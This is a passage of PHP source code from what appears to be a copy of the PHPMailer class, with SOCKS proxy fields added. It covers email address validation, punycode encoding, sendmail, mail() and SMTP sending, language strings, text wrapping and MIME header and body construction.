  754.                 return (boolean) preg_match('/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  755.             case 'html5':
  756.                 return (boolean) preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  757.             case 'noregex':
  758.                 return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  759.             case 'php':
  760.             default:
  761.                 return (boolean) filter_var($address, FILTER_VALIDATE_EMAIL);
  762.         }
  763.     }
  764.     public function idnSupported() {
  765.         return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  766.     }
  767.     public function punyencodeAddress($address) {
  768.         if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) {
  769.             $domain = substr($address, ++$pos);
  770.             if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  771.                 $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  772.                 if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) {
  773.                     return substr($address, 0, $pos) . $punycode;
  774.                 }
  775.             }
  776.         }
  777.         return $address;
  778.     }
  779.     public function send() {
  780.         try {
  781.             if (!$this->preSend()) {
  782.                 return false;
  783.             }
  784.             return $this->postSend();
  785.         }
  786.         catch (phpmailerException $exc) {
  787.             $this->mailHeader = '';
  788.             $this->setError($exc->getMessage());
  789.             if ($this->exceptions) {
  790.                 throw $exc;
  791.             }
  792.             return false;
  793.         }
  794.     }
  795.     public function preSend() {
  796.         try {
  797.             $this->error_count = 0;
  798.             $this->mailHeader  = '';
  799.             foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  800.                 $params[1] = $this->punyencodeAddress($params[1]);
  801.                 call_user_func_array(array(
  802.                     $this,
  803.                     'addAnAddress'
  804.                 ), $params);
  805.             }
  806.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  807.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  808.             }
  809.             foreach (array(
  810.                 'From',
  811.                 'Sender',
  812.                 'ConfirmReadingTo'
  813.             ) as $address_kind) {
  814.                 $this->$address_kind = trim($this->$address_kind);
  815.                 if (empty($this->$address_kind)) {
  816.                     continue;
  817.                 }
  818.                 $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  819.                 if (!$this->validateAddress($this->$address_kind)) {
  820.                     $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
  821.                     $this->setError($error_message);
  822.                     $this->edebug($error_message);
  823.                     if ($this->exceptions) {
  824.                         throw new phpmailerException($error_message);
  825.                     }
  826.                     return false;
  827.                 }
  828.             }
  829.             if ($this->alternativeExists()) {
  830.                 $this->ContentType = 'multipart/alternative';
  831.             }
  832.             $this->setMessageType();
  833.             if (!$this->AllowEmpty and empty($this->Body)) {
  834.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  835.             }
  836.             $this->MIMEHeader = '';
  837.             $this->MIMEBody   = $this->createBody();
  838.             $tempheaders      = $this->MIMEHeader;
  839.             $this->MIMEHeader = $this->createHeader();
  840.             $this->MIMEHeader .= $tempheaders;
  841.             if ($this->Mailer == 'mail') {
  842.                 if (count($this->to) > 0) {
  843.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  844.                 } else {
  845.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  846.                 }
  847.                 $this->mailHeader .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  848.             }
  849.             if (!empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && file_exists($this->DKIM_private)))) {
  850.                 $header_dkim      = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  851.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF . str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  852.             }
  853.             return true;
  854.         }
  855.         catch (phpmailerException $exc) {
  856.             $this->setError($exc->getMessage());
  857.             if ($this->exceptions) {
  858.                 throw $exc;
  859.             }
  860.             return false;
  861.         }
  862.     }
  863.     public function postSend() {
  864.         try {
  865.             switch ($this->Mailer) {
  866.                 case 'sendmail':
  867.                 case 'qmail':
  868.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  869.                 case 'smtp':
  870.                     return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  871.                 case 'mail':
  872.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  873.                 default:
  874.                     $sendMethod = $this->Mailer . 'Send';
  875.                     if (method_exists($this, $sendMethod)) {
  876.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  877.                     }
  878.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  879.             }
  880.         }
  881.         catch (phpmailerException $exc) {
  882.             $this->setError($exc->getMessage());
  883.             $this->edebug($exc->getMessage());
  884.             if ($this->exceptions) {
  885.                 throw $exc;
  886.             }
  887.         }
  888.         return false;
  889.     }
  890.     protected function sendmailSend($header, $body) {
  891.         if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
  892.             if ($this->Mailer == 'qmail') {
  893.                 $sendmailFmt = '%s -f%s';
  894.             } else {
  895.                 $sendmailFmt = '%s -oi -f%s -t';
  896.             }
  897.         } else {
  898.             if ($this->Mailer == 'qmail') {
  899.                 $sendmailFmt = '%s';
  900.             } else {
  901.                 $sendmailFmt = '%s -oi -t';
  902.             }
  903.         }
  904.         $sendmail = sprintf($sendmailFmt, @escapeshellcmd($this->Sendmail), $this->Sender);
  905.         if ($this->SingleTo) {
  906.             foreach ($this->SingleToArray as $toAddr) {
  907.                 if (!@$mail = popen($sendmail, 'w')) {
  908.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  909.                 }
  910.                 fputs($mail, 'To: ' . $toAddr . "\n");
  911.                 fputs($mail, $header);
  912.                 fputs($mail, $body);
  913.                 $result = pclose($mail);
  914.                 $this->doCallback(($result == 0), array(
  915.                     $toAddr
  916.                 ), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  917.                 if ($result != 0) {
  918.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  919.                 }
  920.             }
  921.         } else {
  922.             if (!@$mail = popen($sendmail, 'w')) {
  923.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  924.             }
  925.             fputs($mail, $header);
  926.             fputs($mail, $body);
  927.             $result = pclose($mail);
  928.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  929.             if ($result != 0) {
  930.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  931.             }
  932.         }
  933.         return true;
  934.     }
  935.     protected static function isShellSafe($string) {
  936.         if (@escapeshellcmd($string) !== $string or !in_array(@escapeshellarg($string), array(
  937.             "'$string'",
  938.             "\"$string\""
  939.         ))) {
  940.             return false;
  941.         }
  942.         $length = strlen($string);
  943.         for ($i = 0; $i < $length; $i++) {
  944.             $c = $string[$i];
  945.             if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
  946.                 return false;
  947.             }
  948.         }
  949.         return true;
  950.     }
  951.     protected function mailSend($header, $body) {
  952.         $toArr = array();
  953.         foreach ($this->to as $toaddr) {
  954.             $toArr[] = $this->addrFormat($toaddr);
  955.         }
  956.         $to     = implode(', ', $toArr);
  957.         $params = null;
  958.         if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
  959.             if (self::isShellSafe($this->Sender)) {
  960.                 $params = sprintf('-f%s', $this->Sender);
  961.             }
  962.         }
  963.         if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
  964.             $old_from = ini_get('sendmail_from');
  965.             ini_set('sendmail_from', $this->Sender);
  966.         }
  967.         $result = false;
  968.         if ($this->SingleTo and count($toArr) > 1) {
  969.             foreach ($toArr as $toAddr) {
  970.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  971.                 $this->doCallback($result, array(
  972.                     $toAddr
  973.                 ), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  974.             }
  975.         } else {
  976.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  977.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  978.         }
  979.         if (isset($old_from)) {
  980.             ini_set('sendmail_from', $old_from);
  981.         }
  982.         if (!$result) {
  983.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  984.         }
  985.         return true;
  986.     }
  987.     public function getSMTPInstance() {
  988.         if (!is_object($this->smtp)) {
  989.             $this->smtp            = new SMTP;
  990.             $this->smtp->UseSocks  = $this->UseSocks;
  991.             $this->smtp->SocksHost = $this->SocksHost;
  992.             $this->smtp->SocksPort = $this->SocksPort;
  993.         }
  994.         return $this->smtp;
  995.     }
  996.     protected function smtpSend($header, $body) {
  997.         $bad_rcpt = array();
  998.         if (!$this->smtpConnect($this->SMTPOptions)) {
  999.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1000.         }
  1001.         if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
  1002.             $smtp_from = $this->Sender;
  1003.         } else {
  1004.             $smtp_from = $this->From;
  1005.         }
  1006.         if (!$this->smtp->mail($smtp_from)) {
  1007.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1008.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1009.         }
  1010.         foreach (array(
  1011.             $this->to,
  1012.             $this->cc,
  1013.             $this->bcc
  1014.         ) as $togroup) {
  1015.             foreach ($togroup as $to) {
  1016.                 if (!$this->smtp->recipient($to[0])) {
  1017.                     $error      = $this->smtp->getError();
  1018.                     $bad_rcpt[] = array(
  1019.                         'to' => $to[0],
  1020.                         'error' => $error['detail']
  1021.                     );
  1022.                     $isSent     = false;
  1023.                 } else {
  1024.                     $isSent = true;
  1025.                 }
  1026.                 $this->doCallback($isSent, array(
  1027.                     $to[0]
  1028.                 ), array(), array(), $this->Subject, $body, $this->From);
  1029.             }
  1030.         }
  1031.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1032.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1033.         }
  1034.         if ($this->SMTPKeepAlive) {
  1035.             $this->smtp->reset();
  1036.         } else {
  1037.             $this->smtp->quit();
  1038.             $this->smtp->close();
  1039.         }
  1040.         if (count($bad_rcpt) > 0) {
  1041.             $errstr = '';
  1042.             foreach ($bad_rcpt as $bad) {
  1043.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1044.             }
  1045.             throw new phpmailerException($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
  1046.         }
  1047.         return true;
  1048.     }
  1049.     public function smtpConnect($options = null) {
  1050.         if (is_null($this->smtp)) {
  1051.             $this->smtp = $this->getSMTPInstance();
  1052.         }
  1053.         if (is_null($options)) {
  1054.             $options = $this->SMTPOptions;
  1055.         }
  1056.         if ($this->smtp->connected()) {
  1057.             return true;
  1058.         }
  1059.         $this->smtp->setTimeout($this->Timeout);
  1060.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1061.         $this->smtp->setDebugOutput($this->Debugoutput);
  1062.         $this->smtp->setVerp($this->do_verp);
  1063.         $hosts         = explode(';', $this->Host);
  1064.         $lastexception = null;
  1065.         foreach ($hosts as $hostentry) {
  1066.             $hostinfo = array();
  1067.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1068.                 continue;
  1069.             }
  1070.             $prefix = '';
  1071.             $secure = $this->SMTPSecure;
  1072.             $tls    = ($this->SMTPSecure == 'tls');
  1073.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1074.                 $prefix = 'ssl://';
  1075.                 $tls    = false;
  1076.                 $secure = 'ssl';
  1077.             } elseif ($hostinfo[2] == 'tls') {
  1078.                 $tls    = true;
  1079.                 $secure = 'tls';
  1080.             }
  1081.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1082.             if ('tls' === $secure or 'ssl' === $secure) {
  1083.                 if (!$sslext) {
  1084.                     throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
  1085.                 }
  1086.             }
  1087.             $host  = $hostinfo[3];
  1088.             $port  = $this->Port;
  1089.             $tport = (integer) $hostinfo[4];
  1090.             if ($tport > 0 and $tport < 65536) {
  1091.                 $port = $tport;
  1092.             }
  1093.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1094.                 try {
  1095.                     if ($this->Helo) {
  1096.                         $hello = $this->Helo;
  1097.                     } else {
  1098.                         $hello = $this->serverHostname();
  1099.                     }
  1100.                     $this->smtp->hello($hello);
  1101.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1102.                         $tls = true;
  1103.                     }
  1104.                     if ($tls) {
  1105.                         if (!$this->smtp->startTLS()) {
  1106.                             throw new phpmailerException($this->lang('connect_host'));
  1107.                         }
  1108.                         $this->smtp->hello($hello);
  1109.                     }
  1110.                     if ($this->SMTPAuth) {
  1111.                         if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1112.                             throw new phpmailerException($this->lang('authenticate'));
  1113.                         }
  1114.                     }
  1115.                     return true;
  1116.                 }
  1117.                 catch (phpmailerException $exc) {
  1118.                     $lastexception = $exc;
  1119.                     $this->edebug($exc->getMessage());
  1120.                     $this->smtp->quit();
  1121.                 }
  1122.             }
  1123.         }
  1124.         $this->smtp->close();
  1125.         if ($this->exceptions and !is_null($lastexception)) {
  1126.             throw $lastexception;
  1127.         }
  1128.         return false;
  1129.     }
  1130.     public function smtpClose() {
  1131.         if (is_a($this->smtp, 'SMTP')) {
  1132.             if ($this->smtp->connected()) {
  1133.                 $this->smtp->quit();
  1134.                 $this->smtp->close();
  1135.             }
  1136.         }
  1137.     }
  1138.     public function setLanguage($langcode = 'en', $lang_path = '') {
  1139.         $renamed_langcodes = array(
  1140.             'br' => 'pt_br',
  1141.             'cz' => 'cs',
  1142.             'dk' => 'da',
  1143.             'no' => 'nb',
  1144.             'se' => 'sv'
  1145.         );
  1146.         if (isset($renamed_langcodes[$langcode])) {
  1147.             $langcode = $renamed_langcodes[$langcode];
  1148.         }
  1149.         $PHPMAILER_LANG = array(
  1150.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1151.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1152.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1153.             'empty_message' => 'Message body empty',
  1154.             'encoding' => 'Unknown encoding: ',
  1155.             'execute' => 'Could not execute: ',
  1156.             'file_access' => 'Could not access file: ',
  1157.             'file_open' => 'File Error: Could not open file: ',
  1158.             'from_failed' => 'The following From address failed: ',
  1159.             'instantiate' => 'MAIL_DISABLED',
  1160.             'invalid_address' => 'Invalid address: ',
  1161.             'mailer_not_supported' => ' mailer is not supported.',
  1162.             'provide_address' => 'You must provide at least one recipient email address.',
  1163.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1164.             'signing' => 'Signing Error: ',
  1165.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1166.             'smtp_error' => 'SMTP server error: ',
  1167.             'variable_set' => 'Cannot set or reset variable: ',
  1168.             'extension_missing' => 'Extension missing: '
  1169.         );
  1170.         if (empty($lang_path)) {
  1171.             $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  1172.         }
  1173.         if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
  1174.             $langcode = 'en';
  1175.         }
  1176.         $foundlang = true;
  1177.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1178.         if ($langcode != 'en') {
  1179.             if (!is_readable($lang_file)) {
  1180.                 $foundlang = false;
  1181.             } else {
  1182.                 $foundlang = include $lang_file;
  1183.             }
  1184.         }
  1185.         $this->language = $PHPMAILER_LANG;
  1186.         return (boolean) $foundlang;
  1187.     }
  1188.     public function getTranslations() {
  1189.         return $this->language;
  1190.     }
  1191.     public function addrAppend($type, $addr) {
  1192.         $addresses = array();
  1193.         foreach ($addr as $address) {
  1194.             $addresses[] = $this->addrFormat($address);
  1195.         }
  1196.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1197.     }
  1198.     public function addrFormat($addr) {
  1199.         if (empty($addr[1])) {
  1200.             return $this->secureHeader($addr[0]);
  1201.         } else {
  1202.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  1203.         }
  1204.     }
  1205.     public function wrapText($message, $length, $qp_mode = false) {
  1206.         if ($qp_mode) {
  1207.             $soft_break = sprintf(' =%s', $this->LE);
  1208.         } else {
  1209.             $soft_break = $this->LE;
  1210.         }
  1211.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1212.         $lelen   = strlen($this->LE);
  1213.         $crlflen = strlen(self::CRLF);
  1214.         $message = $this->fixEOL($message);
  1215.         if (substr($message, -$lelen) == $this->LE) {
  1216.             $message = substr($message, 0, -$lelen);
  1217.         }
  1218.         $lines   = explode($this->LE, $message);
  1219.         $message = '';
  1220.         foreach ($lines as $line) {
  1221.             $words     = explode(' ', $line);
  1222.             $buf       = '';
  1223.             $firstword = true;
  1224.             foreach ($words as $word) {
  1225.                 if ($qp_mode and (strlen($word) > $length)) {
  1226.                     $space_left = $length - strlen($buf) - $crlflen;
  1227.                     if (!$firstword) {
  1228.                         if ($space_left > 20) {
  1229.                             $len = $space_left;
  1230.                             if ($is_utf8) {
  1231.                                 $len = $this->utf8CharBoundary($word, $len);
  1232.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1233.                                 $len--;
  1234.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1235.                                 $len -= 2;
  1236.                             }
  1237.                             $part = substr($word, 0, $len);
  1238.                             $word = substr($word, $len);
  1239.                             $buf .= ' ' . $part;
  1240.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1241.                         } else {
  1242.                             $message .= $buf . $soft_break;
  1243.                         }
  1244.                         $buf = '';
  1245.                     }
  1246.                     while (strlen($word) > 0) {
  1247.                         if ($length <= 0) {
  1248.                             break;
  1249.                         }
  1250.                         $len = $length;
  1251.                         if ($is_utf8) {
  1252.                             $len = $this->utf8CharBoundary($word, $len);
  1253.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1254.                             $len--;
  1255.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1256.                             $len -= 2;
  1257.                         }
  1258.                         $part = substr($word, 0, $len);
  1259.                         $word = substr($word, $len);
  1260.                         if (strlen($word) > 0) {
  1261.                             $message .= $part . sprintf('=%s', self::CRLF);
  1262.                         } else {
  1263.                             $buf = $part;
  1264.                         }
  1265.                     }
  1266.                 } else {
  1267.                     $buf_o = $buf;
  1268.                     if (!$firstword) {
  1269.                         $buf .= ' ';
  1270.                     }
  1271.                     $buf .= $word;
  1272.                     if (strlen($buf) > $length and $buf_o != '') {
  1273.                         $message .= $buf_o . $soft_break;
  1274.                         $buf = $word;
  1275.                     }
  1276.                 }
  1277.                 $firstword = false;
  1278.             }
  1279.             $message .= $buf . self::CRLF;
  1280.         }
  1281.         return $message;
  1282.     }
  1283.     public function utf8CharBoundary($encodedText, $maxLength) {
  1284.         $foundSplitPos = false;
  1285.         $lookBack      = 3;
  1286.         while (!$foundSplitPos) {
  1287.             $lastChunk      = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1288.             $encodedCharPos = strpos($lastChunk, '=');
  1289.             if (false !== $encodedCharPos) {
  1290.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1291.                 $dec = hexdec($hex);
  1292.                 if ($dec < 128) {
  1293.                     if ($encodedCharPos > 0) {
  1294.                         $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1295.                     }
  1296.                     $foundSplitPos = true;
  1297.                 } elseif ($dec >= 192) {
  1298.                     $maxLength     = $maxLength - ($lookBack - $encodedCharPos);
  1299.                     $foundSplitPos = true;
  1300.                 } elseif ($dec < 192) {
  1301.                     $lookBack += 3;
  1302.                 }
  1303.             } else {
  1304.                 $foundSplitPos = true;
  1305.             }
  1306.         }
  1307.         return $maxLength;
  1308.     }
  1309.     public function setWordWrap() {
  1310.         if ($this->WordWrap < 1) {
  1311.             return;
  1312.         }
  1313.         switch ($this->message_type) {
  1314.             case 'alt':
  1315.             case 'alt_inline':
  1316.             case 'alt_attach':
  1317.             case 'alt_inline_attach':
  1318.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1319.                 break;
  1320.             default:
  1321.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1322.                 break;
  1323.         }
  1324.     }
  1325.     public function createHeader() {
  1326.         $result = '';
  1327.         if ($this->MessageDate == '') {
  1328.             $this->MessageDate = self::rfcDate();
  1329.         }
  1330.         $result .= $this->headerLine('Date', $this->MessageDate);
  1331.         if ($this->SingleTo) {
  1332.             if ($this->Mailer != 'mail') {
  1333.                 foreach ($this->to as $toaddr) {
  1334.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1335.                 }
  1336.             }
  1337.         } else {
  1338.             if (count($this->to) > 0) {
  1339.                 if ($this->Mailer != 'mail') {
  1340.                     $result .= $this->addrAppend('To', $this->to);
  1341.                 }
  1342.             } elseif (count($this->cc) == 0) {
  1343.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1344.             }
  1345.         }
  1346.         $result .= $this->addrAppend('From', array(
  1347.             array(
  1348.                 trim($this->From),
  1349.                 $this->FromName
  1350.             )
  1351.         ));
  1352.         if (count($this->cc) > 0) {
  1353.             $result .= $this->addrAppend('Cc', $this->cc);
  1354.         }
  1355.         if (($this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail') and count($this->bcc) > 0) {
  1356.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1357.         }
  1358.         if (count($this->ReplyTo) > 0) {
  1359.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1360.         }
  1361.         if ($this->Mailer != 'mail') {
  1362.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1363.         }
  1364.         if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
  1365.             $this->lastMessageID = $this->MessageID;
  1366.         } else {
  1367.             $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  1368.         }
  1369.         $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  1370.         if (!is_null($this->Priority)) {
  1371.             $result .= $this->headerLine('X-Priority', $this->Priority);
  1372.         }
  1373.         if ($this->ConfirmReadingTo != '') {
  1374.             $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  1375.         }
  1376.         foreach ($this->CustomHeader as $header) {
  1377.             $result .= $this->headerLine(trim($header[0]), $this->encodeHeader(trim($header[1])));
  1378.         }
  1379.         if (!$this->sign_key_file) {
  1380.             $result .= $this->headerLine('MIME-Version', '1.0');
  1381.             $result .= $this->getMailMIME();
  1382.         }
  1383.         return $result;
  1384.     }
  1385.     public function getMailMIME() {
  1386.         $result      = '';
  1387.         $ismultipart = true;
  1388.         switch ($this->message_type) {
  1389.             case 'inline':
  1390.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1391.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1392.                 break;
  1393.             case 'attach':
  1394.             case 'inline_attach':
  1395.             case 'alt_attach':
  1396.             case 'alt_inline_attach':
  1397.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1398.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1399.                 break;
  1400.             case 'alt':
  1401.             case 'alt_inline':
  1402.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1403.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1404.                 break;
  1405.             default:
  1406.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1407.                 $ismultipart = false;
  1408.                 break;
  1409.         }
  1410.         if ($this->Encoding != '7bit') {
  1411.             if ($ismultipart) {
  1412.                 if ($this->Encoding == '8bit') {
  1413.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1414.                 }
  1415.             } else {
  1416.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1417.             }
  1418.         }
  1419.         if ($this->Mailer != 'mail') {
  1420.             $result .= $this->LE;
  1421.         }
  1422.         return $result;
  1423.     }
  1424.     public function getSentMIMEMessage() {
  1425.         return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
  1426.     }
  1427.     protected function generateId() {
  1428.         return md5(uniqid(time()));
  1429.     }
  1430.     public function createBody() {
  1431.         $body              = '';
  1432.         $this->uniqueid    = $this->generateId();
  1433.         $this->boundary[1] = 'b1_' . $this->uniqueid;
  1434.         $this->boundary[2] = 'b2_' . $this->uniqueid;
  1435.         $this->boundary[3] = 'b3_' . $this->uniqueid;
  1436.         if ($this->sign_key_file) {
  1437.             $body .= $this->getMailMIME() . $this->LE;
  1438.         }
  1439.         $this->setWordWrap();
  1440.         $bodyEncoding = $this->Encoding;
  1441.         $bodyCharSet  = $this->CharSet;
  1442.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1443.             $bodyEncoding = '7bit';
  1444.             $bodyCharSet  = 'us-ascii';
  1445.         }
  1446.         if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  1447.             $bodyEncoding = 'quoted-printable';
  1448.         }
  1449.         $altBodyEncoding = $this->Encoding;
  1450.         $altBodyCharSet  = $this->CharSet;
  1451.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1452.             $altBodyEncoding = '7bit';
  1453.             $altBodyCharSet  = 'us-ascii';
  1454.         }
  1455.         if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  1456.             $altBodyEncoding = 'quoted-printable';
  1457.         }
  1458.         $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  1459.         switch ($this->message_type) {
  1460.             case 'inline':
  1461.                 $body .= $mimepre;
  1462.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1463.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1464.                 $body .= $this->LE . $this->LE;
  1465.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1466.                 break;
  1467.             case 'attach':
  1468.                 $body .= $mimepre;
  1469.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1470.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1471.                 $body .= $this->LE . $this->LE;
  1472.                 $body .= $this->attachAll('attachment', $this->boundary[1]);
  1473.                 break;
  1474.             case 'inline_attach':
  1475.                 $body .= $mimepre;
  1476.                 $body .= $this->textLine('--' . $this->boundary[1]);
  1477.                 $body .= $this->headerLine('Content-Type', 'multipart/related;');
  1478.                 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  1479.                 $body .= $this->LE;
